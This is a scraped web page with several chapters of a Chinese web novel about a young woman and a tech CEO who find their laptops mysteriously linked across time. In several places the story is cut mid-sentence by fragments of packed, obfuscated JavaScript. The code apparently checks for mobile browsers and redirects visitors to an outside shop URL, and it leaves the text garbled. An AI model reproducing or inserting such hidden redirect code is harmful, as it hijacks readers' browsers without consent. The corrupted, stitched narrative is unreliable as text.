0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14446347|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈话，告知她被辞退的消息。 原因是昨天有一位男顾客点了杯意式浓缩，却在姗姗来迟的女伴面前吹水，说自己只喝手冲咖啡，浓缩是没品味的人喝的。当时她正好在旁边收拾桌子，一听，多嘴提醒了一句他手上那杯不是手冲，问他是不是点错了。 很好，不出意外，她过后收到投诉了。 她承认自己是不该多事多嘴，别人怎么样都不关她的事儿，可惜她有时候就是控制不住。 她太热心太认真了，她就不应该在咖啡店里冲咖啡听人吹牛，而是应该去饼干工厂里给苏打饼干打孔，去贩卖机里给人递饮料，去方便面厂织方便面，去水果厂给火龙果的果肉粘籽。 拿着一周的工资钱，程安宁回到家，给那台好些天没再打开过的二手电脑充上电，转身拿了份速食品应付空空的肚子。 上次她还没去周边那些小型工作室和小公司面试，就去了咖啡店上班，现在她打算去面试其它岗位，反正都在附近一公里的范围内。 不过在去之前，要继续把还未完善的简历做好，然后打印出来才行。 简单填饱肚子，程安宁给电脑开机。 上次编辑到一半的简历还在桌面上放着，除此之外还多了六个陌生文档，不用猜就知道是那位跟她“串线”的人的文件资料。 看样子在她没有使用电脑的这段期间，那个人有在正常使用。 程安宁很有素质地没去打开人家的文件内容窥探一二，重新打开自己的电子简历。 里面的内容仍停留在上次编辑到一半的个人特长。 保险起见，程安宁没有急着完善简历内容，而是在文档上打字：“你在吗？” 打完字，在等了五分钟后，程安宁见屏幕上没有其它动静，这才把这句话删掉，安心地完善简历。 编辑、精心修改，再到确定最终版本，用了不到半个小时，一份像模像样的个人简历就这样完成了。 看着照片栏还空着，程安宁先是用手机搜索拍照的团购，发现一寸照要三十块钱后，默默关闭界面，打算自己动手。 在网上搜索了教程后，程安宁立刻套了件还算齐整的白衬衫，随后在屋里找了一块白墙的区域，利索地架起手机，打算给自己拍了N张照片，这样可以慢慢挑选。 多次调试角度和拍摄后，看着数张照片里自己分外明显的黑眼圈，程安宁嘶了一声，好一会儿才找出一张还看得过去的照片，随后上传到电脑上，打开PS软件。 给照片调个光线，把黑眼圈和皮肤上的小瑕疵P了，再把衬衫上一点突兀的褶皱P掉，然后抠图加个证件照那种蓝底背景，把照片格式改成一寸照大小，立省三十块钱。 绝！这谁看了不夸一句省钱小能手？ 一通忙活，程师傅总算把照片看顺眼了。 不过……眼睛好像有点无神，头顶隐约看到有杂乱的小碎发，脸型好像也拍得又圆又大，传说中的上镜胖三斤果然是有道理的，要不再P一下吧？ 完美主义者上身的程师傅接着忙活…… 另一时空。 新项目收尾，梁彦坐在会议室听着其他人的发言，随手打开面前的笔记本电脑，一个P图界面冷不防撞入视线。 8.08 “相信大家最近也听到了，AY这家大公司外包给我们的项目在国外掀起不小的风声，现在不止是他们想跟我们制定长期的合作，有不少公司也慕名找过来了，我近期在跟各家公司洽谈，现在还总感觉在做梦一样。” 贺明站在会议室的投影幕布前，情绪亢奋。 情绪感染了其他人，会议室内响起激动的欢呼：“贺总梁总万岁！我们未来科技这么快就有出息了！” 刘志辉摸着下巴，笑着搭话：“那我们要考虑扩大团队规模了，公司环境也得换换了，可不能在这种小办公楼里搞技术开发啊，不然对不起我们逐渐壮大的名声。” 贺明笑笑点头，“放心，你说的这些早就列入计划内了。” 说话间，习惯当倾听者的梁彦一言不发，注意力全在笔记本电脑的屏幕上。 这段时间一直相安无事，他在使用电脑的时候一切正常，并且没发现对方有使用电脑的痕迹，一开始想着或许对方最近没用电脑，但是后面又想着电脑可能突然恢复正常了。 现在一打开电脑就看到电脑在自行运作，他可以把电脑恢复正常的这个猜测给剔除了。 此刻，他的笔记本电脑屏幕上是一个Photoshop的界面，一张蓝底的女生证件照落入视线。 女生唇红齿白，鼻子秀挺，一双明净的杏眼平静地盯着前方，确切地说，是镜头的方向。 只是，电脑另一端的人貌似不满足这张照片，正动用软件的工具修一些不起眼的细节。 先是放大细节检查头顶，把杂乱细小的碎毛修掉，再是放大眼睛补点光线。 说实话，他没看出有什么区别。 然后是放大脸部，似乎要做什么修改。 下一刻，似是没把握好修改的程度或者是手抖，原本小巧的鹅蛋脸冷不防修成了尖尖的锥子脸，那个下巴像是能够戳死人。 梁彦没忍住，轻笑出声。 虽然只是短促的笑声，但在满是议论声的会议室里较为突兀，一时间，众人纷纷朝他的方向看了过来，神色惊奇。 特别是刘志辉，一副发现新大陆的样子，出声打趣：“彦哥，没想你还有第三种笑容啊！突然笑得这么荡漾，不知道还以为你春天来了。” 意识到自己的失态，梁彦随即敛起嘴边的弧度，抬眼看向其他人。 团队里有人笑着接过话：“当然是听到我们未来科技步的发展又上到新的阶段太高兴了。” 贺明从投影幕布前让开，一脸期待：“彦哥，我该说的已经说完了，你也说点什么吧，我看你连电脑都带了，应该是打算今晚会议顺便说对公司未来的看法和规划对吧？” 闻言，梁彦神色迟疑，碍于正在开会，只好忍住与会议无关的话题，目光重新落在电脑屏幕上。 见停留在刚才那张修成锥子脸照片的界面没再有其它动静，他犹豫片刻，把那个界面先缩放到底部，双击打开桌面上的其中一个文档，坐在原位发言：“我长话短说吧，未来科技如今的发展确实需要扩大团队规模，让更多的精英人才加入我们，不过相应的，公司业务的领域也可以适当扩宽和开展学习……” 另一边。 程安宁原本正临时用手机搜索PS的P脸型教程，无意间抬眼，看到自己的P图界面被暂时缩到屏幕下方，取而代之的是一份文档的界面，整个人瞬间红温。 靠！那个家伙怎么冒出来都不先知会一声的？那她刚才P图的过程岂不是全被看到了？！ 看吧！这台二手电脑真是毫无隐私可言！ 正尴尬得眼睛在屏幕上乱瞄，程安宁眸光一顿，发现右下角日期那一栏的年份不知何时又变成2019年。 想到先前两人达成的共识，程安宁决定暂时不用电脑了。 不过，改日期事小，把PS界面那张不小心P成蛇精脸的照片关闭事大！ 于是，她迅速移动鼠标，轻按左键，把缩在屏幕下方的PS界面关闭，果断放弃了那张P毁了的照片。 做完这些，她火速离开桌前，想赶紧忘掉这个尴尬的插曲。 …… 梁彦不到十分钟就结束了讲话。 托他的福，会议就此结束。 团队成员飞似的冲出会议室赶着下班。 对于一家正在关键发展阶段的公司，加班是家常便饭，于是每次到了下班时间，每个人都不想多待，提起电脑就走。 会议室内的人很快走得差不多了，只剩下三人。 贺明走到梁彦身边，熟稔地搭上肩膀：“彦哥，我们三个一起去喝一杯？” 刘志辉关了会议室的投影，转身听到这句话，笑着接过话：“你要是撬得动梁彦这块大石头，那还真是个奇迹了。” 说着，他也走到梁彦身边，故意绷着脸开启施压模式：“怎么样？梁总，给不给兄弟们这个面子？” 梁彦的注意力已经回到自己那台笔记本电脑上，发现缩到屏幕下方的PS界面已经不见，冷不防发问：“志辉、贺明，你们有没有碰到过，电脑莫名出现跟别人的电脑相连的情况，双方能够看到对方使用电脑的情况，并且能相互控制对方的电脑。” 刘志辉疑惑：“不就是常见的远程控制吗？” “不是。”梁彦继续补充：“两人相互不认识，也没有在电脑上配合开启远程控制，是突然出现的状况。” 贺明想了想，“是有黑客盯上了，搞病毒入侵了吧？” 梁彦摇头，“我已经仔细检查过了，我这台电脑没有病毒，并且里面也没有放重要资料，没有被黑的价值。” 顿了顿，想到自己被对方当成鬼对待，他又补上一句：“而且对方也不像黑客。” 刘志辉无奈耸肩：“那就不清楚了。” 说着，突然反应过来，“等等，你刚刚是说，你的电脑？” 梁彦点头，指着面前的笔记本电脑：“嗯，我这台旧电脑就是碰到这种情况了。” 刘志辉和贺明神色诧异，争相凑到他的电脑前：“真的假的，我看看。” 两人互不相让，试图挤开对方，梁彦索性把他们都从电脑前拉开，“还是我来示范给你们看吧。” 两人这才安分下来，分别围在他的两侧。 在好友们的注视下，梁彦在电脑桌面新建了一个文档，接着在空白页上打字：【抱歉刚刚打断了你的P图，我现在已经忙完了，你可以接着使用电脑了。】 打完字，他开口道：“接下来等对方回复你们就知道了。” 对于他这番举动，贺明跟刘志辉先是一愣，虽然觉得怪异，但还是老老实实地拉过椅子，坐在旁边等着。 只是，三个大男人守在电脑前等了十分钟，文档上依旧没有出现其它内容。 梁彦沉住气，又在文档上敲下一句：【如果你在的话，可以回复一下吗？】 刚才他为了不妨碍对方继续使用电脑，特地在开会讲话的时候速战速决。按道理来说，这会儿不应该找不到人。 梁彦不忘跟身边两位好兄弟道：“再等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449576|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一会儿吧。” 就这样又等了十分钟，文档上孤零零摆着两句话，像在自言自语。 贺明和刘志辉逐渐产生怀疑，并且眼神微妙看了彼此一眼。 在这一瞬，两人一致认为梁彦脑子貌似有点问题。 刘志辉故作自然地扯了扯嘴角，平时欠揍的语气换成了令人起鸡皮疙瘩的轻声细语：“不是哥们……你……在跟谁聊天吗？你最近是不是压力太大了？” 贺明也表达关心：“你最近是不是太累了？” 刘志辉继续道：“也是，整个团队都是你在带领，要负责的部分太多太杂，累到出现幻觉也正常。正好这段时间又搞定了一个项目，你放两天假好好休息吧。” 贺明点头同意：“是啊，这两天公司的事情交给我们就行了。” 闻言，梁彦明白他们这是不相信自己的话，索性放弃证明，合上电脑起身：“都下班吧。” 见他总算没再折腾电脑干怪事，刘志辉默默松了口气，拍了拍他的肩膀：“你回去好好休息，今晚就不缠着你跟我们去喝一杯了。这两天也记得别到公司来了，不然我见着一次就把你遣送回家一次。” 梁彦没回话，拿着笔记本电脑离开了。 目送他挺拔的身影出了会议室，刘志辉随即看向身边的贺明：“你上次不是说要给梁彦换台备用机吗？赶紧把他那台电脑换了吧！可能这段时间他那台旧电脑总是出故障用不了，再加上经常加班，脑子多了些不切实际的幻想。” 贺明严肃点头：“我最近给忙忘了，明天就让采购部的人去买。” - 程安宁洗完澡回到电脑前的时候，就看到屏幕上是一个文档界面，上面有两句话。 看清楚内容，意识到对方在企图发起交流，程安宁拉开椅子坐下，敲键盘回复：【哦，没事。】 想起自己原相机直出的照片，以及P图的过程可能全被看到了，程安宁好不容易压下去的尴尬再次涌上来。 于是，她想了想措辞，噼里啪啦打字：【我觉得这样下去不是办法，毕竟我们没办法预知会不会有一些紧急情况需要用到电脑，万一两人都碰上一块儿就不好了，再加上怪没隐私的，你说对吧？】 打完字，她边擦拭湿发边等回复，脑袋里已经在想解决办法。 梁彦回到家重新打开笔记本电脑，赫然发现文档上留下的两句话有了回复。 他在电脑前坐下，打字回复：【嗯，但目前还没有找到原因，我也不打算继续用这台电脑了。】 程安宁看到电脑上冒出新内容时，已经过去了半个小时。 见状，迅速敲字挽留：【别啊！！我刚才想到了一个办法！】 电脑的问题还没完全解决，人可别跑了，不然她找谁帮忙配合！ 虽然人家是说不用电脑了，但是谁说得准他那台电脑会不会到别人手上。 程安宁紧跟着问了一句：【你在哪个城市？是台式电脑还是笔记本电脑？】 梁彦：【清城，笔记本电脑。】 程安宁眼睛一亮，回：【太好了，我也在清城，而且同样是笔记本电脑。既然我们都在同个城市，那就可以免去商量谁给对方把电脑寄过去的麻烦事了。】 程安宁捋顺了自己的想法，双手继续流畅地在键盘上游走：【是这样的，我想我们可以约个时间带上各自的电脑，到同一家维修店碰面让人家师傅看看，这样还可以把两台电脑放在一起当场示范它们存在的问题，说不定人家就能找出原因了。】 9.09 看着屏幕上出现的一连串内容，梁彦思索片刻，按键盘回复：【可以。我正好明后两天有空，你方便么？】 贺明和刘志辉这两位好兄弟擅自给他放假，他顺便空出时间处理这件事情。 能尽快解决自然是最好了，程安宁回：“那就后天吧。时间和碰面地点方面，你有没有什么想法？” 对方倒是随和，很快回她：“没有，你定吧。” 想到这两天要忙面试，时间方面具体是几点有空不太好说，程安宁提议：“时间方面，我等明天确定好了再跟你说。维修费用的话，我们AA，至于碰面地点，我们到时直接在目的地碰面吧，怎么样？” 梁彦同意：“好的，就按照你说的来。你可以先把碰面的地点和联系方式发给我。” 程安宁很快输入自己的手机号码和一串地址。 关于见面的地点，她特地提前做了功课，是清城当地一个著名的电子城，也就是她中奖的那家数码店老板的进货渠道。 里面的商铺全是跟电子设备有关的，据说那里集中了很多技术维修方面深藏不露的高手。到时要是一家店搞不定，直接出门进下一家。她就不信那么多家店，没有一家能够把电脑修好。 看到屏幕上显示的手机号码和地址，梁彦没有异议，也把自己的手机号码发上去，顺便附上自己的姓氏让她可以备注，同时问她怎么称呼。 程安宁回了一个“程”，然后拿过桌上的手机保存号码和进行备注。 搞定后，她抬头就看到电脑屏幕上多了一句询问：“请问今晚PS界面上的那张照片是你本人吗？” 想起那张原相机直出的憔悴照片，以及越P越怪，最终变成废片的模样，原本淡去的尴尬再次涌上来，程安宁怀疑对方是想趁机取笑。 她瞬间急眼，敲字否认：“不是！你有什么问题吗？我只是在练习修图而已，不需要别人多事和评头论足！我们只是陌生人，你越界了！” 隔着屏幕隐约能够感觉到对方激动的语气，梁彦解释：“你误会了，我没有别的意思，只是在想如果那张照片是你本人的话，后天碰面也方便认出来。” 程安宁一愣，刚气红的小脸瞬间恢复如常。 哦，原来是这样啊。 程安宁能屈能伸，改口认领了那张照片：“好吧，确实是我本人。” 梁彦：“？” - 两人交换了联系方式和敲定见面地点后就结束了交流。 程安宁放弃了继续用电脑修图的念头，为了不耽误投简历，直接用手机简单修修瑕疵就放到了简历上。 深夜投出的简历，隔天四家小公司都陆续给出了线下面试的回应，于是她一个下午就跑了三家公司，另外一家定在了明天下午两点面试。 晚上闲下来，想到明天是碰面的日子了，是时候告诉人家具体在几点约见了，程安宁打开笔记本电脑，新建一个Word文档在上面留言：“你在吗？明天见面时间定在下午四点怎么样？” 她明天下午两点面试，只要错开时间跟对方定在四点见面，完全来得及。 程安宁边玩手机边等待回复，只是半个小时过去了，还是没有动静。 她懒得等了，索性把文档上的留言改成简短的一句：明天的见面时间是下午四点。 想到对方看过自己照片了，程安宁又补上一句：请把你的照片发给我，这样我明天到了之后也容易找人。 随后，她把文档保存在桌面上，命名为【留言】，并且移到了电脑桌面正中间最显眼的位置。 这样应该看得到了吧？一般细心的人肯定一眼就能看到，可是怕就怕对方是个马虎的。 程安宁神色犹豫，看了一眼桌面上分散的其它文档，数了一下有十个文档，再加上她刚新建的，一共十一个，视觉上显得桌面杂乱。 为了避免对方漏看了这个留言文档，程安宁在桌面新建了一个文件夹，把除了那个留言文档以外的都放进文件夹里，同时命名为【梁】。 这样一来，整个桌面除了软件图标，就只有一个显眼的黄色文件夹和一个名为“留言”的文档了。 看着是稳妥了，耐不住程安宁兴致高涨，还做了一张简单粗暴的桌面壁纸换上。 这要是还能漏看她的留言，她把电脑吃了。 …… 说是放假，梁彦在家也没有闲下来。 除了在远程指导团队成员搞技术开发，贺明还给他发来一份关于公司搬迁的新选址，以及各领域意向合作的业务清单，说是想听听他有什么建议和见解，然后一起商量着做决定。 等到梁彦从工作状态中抽离出来，外面已经夜深人静。 他起身收拾桌上的外卖盒，余光瞥见角落静静躺着那台旧笔记本电脑，这才想起明天的要事。 梁彦打开那台笔记本电脑，按下开机键。 他记得对方说等确定了时间会告诉他，而明天就要碰面了，时间方面应该确定下来了。 电脑顺利开机，落入视线的是一张白底黑字的桌面壁纸。 壁纸上用加粗的字体写了“这是我给你的留言”，以及“桌面有点乱，我把你的文件都放进这个文件夹里了”这两句话。 对方像是生怕他是个马虎的人会漏看信息，还特地在这两句话的句首分别画了一个箭头指着不同的方向，而所指的正是文档和文件夹的位置，这样的标识简单粗暴、清晰易懂。 因疲倦而微拧的眉头不自觉舒展，嘴角的弧度仿佛在这一刻微微往上牵动，但很快恢复如常。 梁彦打开名为【留言】的文档查看，记下了明天碰面的时间，同时在底下进行回复。 随后，他检查了那个名为【梁】的文件夹，果然发现自己所有的文件都放到里面了。 关闭了两个界面，那张白底黑字的壁纸再次落入视线。 原本在触控板上游走的手指不由得一顿，梁彦正打算关机的念头被一个一闪而过的想法延后。 - 因为上午没有行程，程安宁直接睡到自然醒。 等到她打开电脑打算查看昨晚的留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14468015|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言是否有回应，已经临近中午。 屏幕亮起，原本惺忪的双眼在看到桌面的壁纸忽然睁大，眼底泛起一丝浅笑。 壁纸仍旧是白底黑字的壁纸，只是她留在上面的两句话不见踪影，取而代之的是两个黑色加粗的大号字体：好的。 看样子对方重新做了一张壁纸回应她留在上面的话。 既然壁纸已经被换过了，那么留言文档肯定也看到了。 程安宁打开留言文档，果然看到对方的回复：时间我记下了。关于照片，我平时没有拍照的习惯，所以抱歉没有照片可以发你。不过我已经看过你的照片了，明天下午见到了我会上前跟你会合的。 这样也行。程安宁微微扬眉，在底下回了一个：OK。 随后，她不忘把桌面换成系统自带的壁纸，这样一来对方看到壁纸换了就知道她已阅。 下午三点，面试结束。 程安宁从一处办公楼出来，直接在路边扫了辆共享单车，把电脑包放到前面的篮子里，骑车赶往电子城。 今天的面试时间比预期开始的要迟，不然她还可以慢悠悠骑车。原因是那家公司的老板忘了面试的事情，而小公司人不多，面试大多是老板亲力亲为的，所以她联系了对方后坐在那儿玩了半个多小时的手机才等到人。 还好现在从这里骑单车到电子城，正常速度的话，一个小时差不多了。 为什么不打车？身为省钱小达人，早就对比了价格，最后当然是情愿多花点时间骑单车了。 程安宁没了沿途看街景的心情，一路吭哧吭哧骑车，最后带着一身汗到了约定碰面的地点，时间比她预期的提前了五分钟。 不过总算可以歇歇了，程安宁在附近归还了单车，见电子城的主入口有人聚集坐在台阶上，也入乡随俗提着电脑包找了个空位坐下。 入口处的左侧有一棵高大的榕树，枝繁叶茂，有部分枝叶给台阶区域遮了一片阴影，她就坐在底下乘凉和擦汗。 五分钟眨眼间就过去，程安宁伸长脖子望着四周，跟过往的路人对上数次视线，尽可能让那个赴约的人发现自己。 在试图找了一会儿后，程安宁见没人上前跟自己会合，索性拿出手机拨通了前天晚上保存的号码。 手机那端很快传出一道机械的女声：“您好，您拨打的号码已暂停服务……” 程安宁一愣，不信邪，挂断后又重新拨过去。 在听到手机那边仍旧传来这句话后，她后知后觉意识到了什么，倏地握紧耳边的手机，呼吸因情绪的波动变得急促。 靠！她这是被耍了吗？！ 与此同时。 梁彦提着电脑包站在人来人往的电子城主入口，头顶上落着一片黑影，是榕树枝叶轻轻摇曳的影子。 他一遍又一遍地扫视四周，最终确定视线里并没有照片上那个女生的身影。 梁彦拿出手机，拨通了提前保存的号码。 手机那端响了两声后被接起，紧接着，手机里传出一道粗犷不耐的男声：“谁啊？” 10.10 梁彦愣了一瞬，开门见山道：“你好，我找程小姐。” 手机那端的男人语气暴躁：“什么程小姐？老子男的，姓你名爹！” 话落，直接挂断通话。 梁彦余下的话卡在喉咙里，剑眉拧起。 这个号码不会错的。那天晚上在保存号码的时候，他为了避免看走眼，特地在保存后又盯着屏幕对了一遍。 那么，接电话的是对方的男朋友吗？是不是误会什么了？ 为了让下午的正事能够按原计划进行，梁彦沉住气，又重拨过去。 这一次，手机那边很快接起。 梁彦抢先开口：“我和程小姐约好带上电脑在电子城碰面办正事，请问你们到哪里了？” 男人瞬间急眼：“都说了没有程小姐，你是不是脑子有问题？再打过来信不信老子找人揍你！” 说完，通话再次被挂断。 平白无故被骂了两次，梁彦脸色沉了下来，太阳穴突突直跳。 手机号码没有出错，接的人却不是本人，并且对方强调了两次自己不认识姓程的女生。如果不是说谎的话，那么只剩下一种可能：那个主动提出碰面的女生在恶作剧，而他上当了。 梁彦站在原地缓了缓，为了避免不小心误会对方，还是有意预留时间多等一会儿。 只是，视线里迟迟没有出现对方的身影，梁彦明白是等不到了，心里笃定了对方恶作剧的这个猜测。 他回头看着电子城的入口，俊脸闪过思量。 最终，为了不白来一趟，他提着电脑包踏上台阶。 另一边。 程安宁一脸不爽，见始终等不到人、联系不上人，也没有接到对方的来电，气鼓鼓地收起手机，挪步离开。 不同的时空里，两人踩着摇曳斑驳的树影，在同一个地点擦肩而过。 - 骑了一个小时的单车好不容易到了目的地，结果发现被耍了，还要灰溜溜回去，当然是不能忍了。 程安宁认命骑车回家前，先去见了叶思蕾。 早在她下午等待面试那会儿，上班摸鱼的叶思蕾恰好找她聊天，得知她要到电子城附近办事，强烈要求见面约饭，因为叶思蕾工作的地方离电子城很近。 来都来了。本以为处理好电脑的事情还能美滋滋跟好姐妹见面吃顿饭，结果事情没解决还一肚子气。现在支撑着她骑车的动力，就是等跟叶思蕾见面了疯狂蛐蛐那个耍了她的缺德“鬼”。 怪不得在她要照片的时候说没有拍照的习惯，原来是找借口不给，等着使坏呢！ 程安宁骑了十分钟就到了叶思蕾的公司楼下。 这会儿还没到叶思蕾的下班时间，程安宁等待之余，拿出手机从各个平台搜索周边餐厅的团购活动进行比价，还顺手薅到旁边一家奶茶店线上活动买一送一的券。 于是，两杯奶茶到手。 叶思蕾下班冲出公司跟她会合的时候，程安宁递出手中的奶茶，笑着分享好消息：“我抽到了买一送一的奶茶券。” 叶思蕾眼前一亮，开心接过：“还得是你出手啊！我最近跟其她同事一直在参加这个抽奖活动，结果只抽到九折券，我们都怀疑过买一送一是不是真的存在。” 说到这，叶思蕾好奇问道：“对了，你不是说下午要办事可能会晚点跟我碰面吗？怎么这么快就搞定跑过来找我了？” 闻言，程安宁笑意一敛，立刻跟倒豆子似的说出最近发生的离奇事情，以及今天被耍了一顿的遭遇。 叶思蕾听得来气：“这人太恶劣了吧。不配合就算了，还要骗你白跑一趟！” “就是说啊！”程安宁猛吸手中的奶茶，把嘴里软弹的珍珠当做对方，嚼个粉碎。 “你应该早跟我说这个事儿的，这样一来，我就能让董毅帮你看看电脑怎么回事儿，说不定就解决了，省得被那种人耍。”叶思蕾愤愤不平，顿了顿，看到她手中的电脑包，突而提议道：“诶，要不我们现在就去找他吧，反正他们公司也离得不远，我们要是走过去的话，也差不多到他下班时间了。” 说完，挽着程安宁的胳膊就往前走。 程安宁拉住她，脸上带着怨气：“算了，我暂时不想修这台电脑了，我还要靠这台笔记本电脑把那个人臭骂一顿。” 要是修好了就骂不了了。 叶思蕾无奈一笑：“哎呀，不要跟这种无关紧要的人耗着，赶紧把电脑修好才是最要紧的。” 说完，继续拉着她走，同时拿出手机联系董毅。 程安宁只好跟上。 穿过马路，再从开满奢侈品大牌专柜的繁华地段走过，两人总算到了一幢气派壮观的大厦前。 程安宁抬头，差点被无数个玻璃幕墙晃得眼花，在大厦的最顶上，挂着“未来科技”四个大字。 未来科技的名声，她以前有所耳闻。这家公司当初刚被大家熟知的那会儿，还只是一家崭露头角的年轻公司，后来随着他们开发的各项技术和产品被越来越多的领域广泛运用，这家新公司迅速崛起，名声直逼其它科技大公司，后来更是成为清城不可或缺的科技公司之一。 至于其它的，她不清楚，只觉得这种大公司的话，待遇方面应该很好。 周围装扮商务得体的男女从这幢大厦进进出出，程安宁收回视线，惊讶道：“你家董毅现在在未来科技工作吗？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488993|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶思蕾笑：“他倒是想啊。他说他下午被公司派到未来科技这边办事，让我们直接到这里等他就行。” 手机振动了一下，又收到了消息，叶思蕾低头看了一眼，补上一句：“他说可以进到大厅的等待区找个位置坐等他。走走走，难得到这种大公司一趟，我们进去看看。” 没想到还能进到大公司里边，程安宁瞬间来了精神，两人兴冲冲地进到大厦的一楼。 不愧是科技公司，大厅敞亮壮观，很有派头，数台圆头大眼、通身银色机械的机器人穿梭在大厅的人群中，发出字正腔圆却又没有感情波动的声音问到访的人需不需要什么帮助。 程安宁一下子就被吸引了视线，神色惊奇。 没等机器人上前招待两人，就有保安上前询问来意。 得知她们是进来等人的，保安没有过多为难，主动指引等待区的方向，并且告知没有工作证或者访客证是没办法通过闸机搭乘电梯去往其它楼层的，让两人就待在一楼大厅等人就行。 两人会意点头，一同往等待区去。 经过一处关于公司信息的展示区，有工人在里面拆卸东西，一些展示牌被随意扔在地上，程安宁路过扫了一眼，看到其中一块展示海报上印着一张清隽俊俏的脸庞，不由得停下脚步。 照片上，男人身着工整的西装，眉眼深邃，鼻子高挺，帅得就像是游戏人物的建模。不过他的薄唇没有任何弧度，脸上也没有一丝多余的表情，只是目光沉静地盯着镜头方向，看着像是一个严肃和不近人情的人。 即便如此，那张优越出众的面孔还是能够让人忍不住驻足观赏。 见她突然不走了，叶思蕾也跟着停下，循着她的视线看去，好奇询问：“怎么了？在看什么？” 话落，看到地上那张分外突兀的照片，两眼发亮：“嚯！这里怎么会有帅哥照啊？” “我也纳闷。”程安宁边说边弯下腰，看照片下方附带的文字信息。 哦，这个帅哥叫梁彦，是未来科技公司CEO。上面列举他曾带领团队完成了什么什么项目，开发了什么技术之类的，大篇幅的内容全在介绍人家在这个公司的成就，但总结起来就是一句话：这是一位很了不起的大佬。 不过……现在有关这位大佬的内容海报被人随意扔在地上，上面还有工人无意间踩过留下的灰鞋印。 大致扫完上面的内容，程安宁诧异扬眉：“还真是深藏不露啊。” “梁彦……”叶思蕾若有所思地念着上面的名字，突然激动地攥紧她的胳膊：“啊！我知道了，原来他就是那个梁彦啊！” 程安宁一头雾水，转头看她：“啊？哪个梁彦？” 11.11 叶思蕾解惑：“就是四年前人人惋惜的那位年轻大佬啊！” 说到这，叶思蕾意识到了什么，脸色微变，止住余下的话。 程安宁还在等她继续说下去，见她突然不说了，正要开口问，就被叶思蕾拽着离开，听她转移到其它话题上：“好啦，别在这里逗留了，董毅估计忙完了，我们到等待区看看！” 好奇心来得快去得也快，本来就是随口聊起的话题，被这么一打岔，程安宁很快抛到脑后。 到了等待区没多久，董毅跟她们会合了。 在了解到电脑的情况后，自认电脑高手的董毅立刻就地检查电脑的情况。 程安宁和叶思蕾就坐在旁边等。 只是，折腾来折腾去，除了最开始打开电脑发现时间和日期对不上后，就没有发现其它方面的问题了。 最终，在只纠正了时间日期这种小儿科的问题后，叶思蕾投去了质疑的目光：“就这？董毅，你到底能不能行啊？亏我还夸下海口说你能解决呢。” 董毅的脸色涨得通红，一时百口莫辩：“可，可是这台电脑真没问题。” 程安宁把笔记本电脑收回电脑包，干笑着打了个圆场：“果然是疑难杂症，还是不管它了。我们去吃饭吧，我下午抽到附近一家餐厅的三人餐半价券，巨划算！” 闻言，叶思蕾立刻拿出手机：“多少钱？大家aa，我转你。” 董毅也跟着掏出手机，“还是我来吧！” 程安宁没好气地按下她们的手机，“上次是你们请的我，这次换我来，谁有异议我跟谁急。” 叶思蕾努努嘴，抱怨：“好姐妹之间要分得那么清楚吗？” 程安宁笑：“我可没有跟你分得很清，是你见外要aa的。反正这次由我做东，谁叫我运气好抽到了那么划算的券！” 叶思蕾知道她平时精打细算省吃俭用，所以总会主动用一些方式帮她减少花销。可是，正是珍视这份友谊，就应该有来有往，她不想因为自身的情况让朋友迁就自己，更不想心安理得地让朋友承担花销。 收拾好东西，三人一同往回走。 重新走到刚才拆卸东西的展示区，地上那些杂乱的展示宣传海报正在被工人清理进垃圾桶里，而原本挂着展示牌的位置，已经挂上了另一人的照片和简章。 有一位工人负责粘贴，身形挡住了底下的名字和介绍内容。 程安宁好奇地盯着新换上的海报看，照片上的男人同样年轻，同样穿着西装，只是右眼眉骨上有一道突兀发白的伤疤，长相也没有她最先看到的那张照片主角那样惊艳，不过称得上一表人才那一挂，他的脸上还带着笑容，虽然笑得太刻意显得有些油腻。 “橙子，等吃完饭我陪你重新到电子城那边，我们多找几家店的师傅看看电脑的情况。” 叶思蕾的话把她的注意力拉了回来。 既然就在附近，白来一趟确实有点可惜，程安宁想了想，心里被人放鸽子的气已经消了大半，点头应下：“行。” 吃过晚餐，三人到了电子城办正事。 接连找了三家店，都说笔记本电脑没有问题。有的听了电脑存在的问题后，还把她们当成在胡闹搞事情，让她们去别的地方，不要耽误他们店里做生意。 在进第四家店的时候，程安宁的心里已经想好如果还是同样找不出问题，就掉头回家洗洗睡了。 不厌其烦地跟第四家店的维修师傅重复了电脑存在的问题后，对方也亲自检查完了笔记本电脑的情况，抬头看她：“这台电脑没有任何毛病，我在排查问题的时候，也没看到它出现你说的现象。” 